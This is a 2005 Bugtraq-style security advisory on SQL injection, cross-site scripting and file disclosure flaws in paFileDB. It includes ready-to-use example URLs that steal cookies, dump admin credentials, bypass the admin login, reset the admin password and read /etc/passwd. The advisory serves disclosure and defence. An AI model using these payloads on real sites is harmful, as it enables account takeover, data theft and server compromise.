PAFileDB Multiple Input Validation Vulnerabilities

Bugtraq ID:	13967
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 15 2005 12:00AM
Updated:	Jun 15 2005 12:00AM
Credit:	Discovery is credited to GulfTech Security Research <[email protected]>.
Vulnerable:	PHP Arena paFileDB 3.1 PHP Arena paFileDB 3.0 Beta 3.1 PHP Arena paFileDB 3.0 PHP Arena paFileDB 2.1.1 PHP Arena paFileDB 1.1.3
Not Vulnerable:

PAFileDB Multiple Input Validation Vulnerabilities

paFileDB is prone to multiple input validation vulnerabilities. The following issues are reported:

Multiple SQL injection issues exist in paFileDB.

The impact of these issues will vary depending on features supported by the database implementation but may be limited due to the nature of affected queries.

Multiple cross-site scripting issues are also reported when passing user-supplied arguments to the 'sortby', 'filelist', and 'pages' parameters of the 'pafiledb.php' script.

Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database.

Finally, paFileDB is prone to a file disclosure vulnerability. The 'action' parameter of the 'pafiledb.php' script is affected by the vulnerability.

PAFileDB Multiple Input Validation Vulnerabilities

The following examples are available:

http://www.example.com/pafiledb.php?action=viewall&start=20&sortby=name%22
%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=category&id=1&filelist=%22%3E%3C
script%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=category&id=1&pages=%22%3E
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=admin&login=do&formname=-99'%20UNION
%20SELECT%20admin_id,%20admin_username,%20'6f1ed002ab5595859014ebf0951522d9',
%20admin_email,%201%20FROM%20pafiledb_admin%20WHERE%20'1&formpass=blah&B1=
%3E%3E+Log+In+%3C%3C&action=admin&login=do

http://www.example.com/pafiledb.php?select=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%201/*&B1=%3E%3E+Edit+
Category+%3C%3C&action=team&tm=category&category=edit&edit=form&menu1=%2F
pafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dcategory%26category%3Dedit

http://www.example.com/pafiledb.php?id=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%
201/*&B1=%3E%3E+Edit+File+%3C%3C&action=team&tm=file&file=edit&edit=form&menu1
=%2Fpafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dfile%26file%3Dedit

http://www.example.com/pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&
query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20MD5%281337%28%
20WHERE%201/*

http://www.example.com/pafiledb.php?action=../../../../etc/passwd%00&login=do

PAFileDB Multiple Input Validation Vulnerabilities

Solution:
It is reported that the vendor has released an update to address these issues, however Symantec were not able to confirm this. Customers are advised to contact the vendor for further information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PAFileDB Multiple Input Validation Vulnerabilities

References:

• paFileDB Homepage (PHP Arena)
  
• Multiple paFileDB Vulnerabilities (GulfTech Security Research )